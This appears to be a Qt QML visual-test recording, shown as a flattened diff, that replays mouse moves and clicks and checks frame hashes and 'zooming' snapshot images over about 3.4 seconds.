Mouse { + type: 5 + button: 0 + buttons: 0 + x: 155; y: 44 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 147; y: 46 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 416 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 141; y: 48 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 138; y: 48 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 432 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 130; y: 48 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 127; y: 48 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 448 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 125; y: 48 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 123; y: 48 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 464 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 480 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 121; y: 49 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 496 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 512 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 117; y: 53 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 116; y: 53 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 528 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 115; y: 54 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 544 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 113; y: 54 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 560 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 111; y: 53 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 111; y: 52 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 576 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 110; y: 50 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 592 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 109; y: 48 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 608 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 108; y: 46 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 624 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 108; y: 45 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 107; y: 44 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 640 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 106; y: 43 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 656 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 105; y: 42 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 672 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 105; y: 41 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 688 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 704 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 720 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 736 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 105; y: 40 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 752 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 105; y: 39 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 768 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 105; y: 37 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 105; y: 36 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 784 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 105; y: 35 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 105; y: 34 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 800 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 816 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 106; y: 33 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 832 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 848 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 864 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 880 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 896 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 106; y: 33 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 912 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 928 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 944 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 960 + image: "zooming.0.png" + } + Frame { + msec: 976 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 106; y: 33 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 992 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 1008 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 1024 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 1040 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 1056 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 4 + button: 1 + buttons: 1 + x: 106; y: 33 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1072 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 1088 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 1104 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 1120 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 106; y: 33 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1136 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 1152 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 1168 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 1184 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 106; y: 34 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 106; y: 36 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1200 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 105; y: 38 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1216 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 103; y: 44 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1232 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 102; y: 46 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 98; y: 50 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1248 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 94; y: 56 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 90; y: 62 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1264 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 88; y: 70 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 84; y: 78 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1280 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 84; y: 86 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 84; y: 94 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1296 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 84; y: 104 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 86; y: 114 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1312 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 88; y: 124 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 92; y: 136 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1328 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 94; y: 146 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 96; y: 156 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1344 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 96; y: 164 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 96; y: 172 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1360 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 96; y: 180 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 96; y: 188 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1376 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 96; y: 190 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 96; y: 193 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1392 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 95; y: 195 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 95; y: 197 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1408 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 95; y: 198 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 95; y: 200 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1424 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 94; y: 201 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 94; y: 202 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1440 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 94; y: 204 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1456 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 93; y: 205 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1472 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 92; y: 206 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1488 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 92; y: 208 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1504 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 92; y: 210 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1520 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 92; y: 211 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 91; y: 212 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1536 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 1552 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 1568 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 1584 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 1600 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 1616 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 1632 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 91; y: 213 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1648 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 1664 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 1680 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 1696 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 1712 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 91; y: 214 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 91; y: 214 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1728 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 1744 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 1760 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 1776 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 91; y: 214 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1792 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 1808 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 1824 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 1840 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 4 + button: 1 + buttons: 1 + x: 91; y: 214 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1856 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 1872 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 1888 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 1904 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 1920 + image: "zooming.1.png" + } + Frame { + msec: 1936 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 91; y: 214 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1952 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 1968 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 1984 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2000 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2016 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2032 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2048 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2064 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2080 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2096 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2112 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2128 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 91; y: 212 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2144 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2160 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2176 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2192 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 89; y: 211 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2208 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 88; y: 211 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2224 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2240 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 86; y: 211 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2256 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 85; y: 211 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 84; y: 211 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2272 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 82; y: 211 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 80; y: 211 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2288 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 77; y: 211 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 75; y: 211 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2304 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 69; y: 213 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 66; y: 213 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2320 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 64; y: 213 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 62; y: 213 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2336 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 60; y: 213 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 58; y: 213 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2352 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 56; y: 213 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 55; y: 212 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2368 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2384 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2400 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2416 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2432 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2448 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2464 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2480 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 56; y: 213 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2496 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 58; y: 214 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 59; y: 214 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2512 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 61; y: 215 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 62; y: 216 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2528 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 63; y: 216 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2544 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2560 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2576 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2592 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 64; y: 216 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 64; y: 216 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2608 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2624 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2640 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2656 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2672 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 63; y: 216 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 63; y: 216 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2688 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 62; y: 216 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2704 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2720 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2736 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2752 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 4 + button: 1 + buttons: 1 + x: 62; y: 216 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2768 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2784 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2800 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2816 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 62; y: 216 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2832 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2848 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 2864 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 62; y: 215 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2880 + image: "zooming.2.png" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 62; y: 214 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2896 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 62; y: 213 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2912 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 62; y: 212 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 63; y: 211 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2928 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 63; y: 209 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 64; y: 208 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2944 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 66; y: 202 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 70; y: 198 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2960 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 72; y: 192 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 74; y: 186 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2976 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 76; y: 180 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 80; y: 170 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2992 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 84; y: 162 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 88; y: 152 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3008 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 94; y: 142 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 98; y: 130 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3024 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 102; y: 118 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 108; y: 108 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3040 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 112; y: 98 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 114; y: 90 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3056 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 120; y: 80 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 122; y: 72 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3072 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 126; y: 66 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 128; y: 58 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3088 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 132; y: 52 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 134; y: 46 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3104 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 136; y: 40 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 140; y: 32 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3120 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 144; y: 24 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 150; y: 18 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3136 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 154; y: 10 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 160; y: 4 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3152 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3168 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3184 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3200 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3216 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3232 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3248 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3264 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3280 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3296 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3312 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3328 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3344 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3360 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3376 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3392 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3408 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3424 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3440 + hash: "c98df558c41f1837398eead42392b780" + } 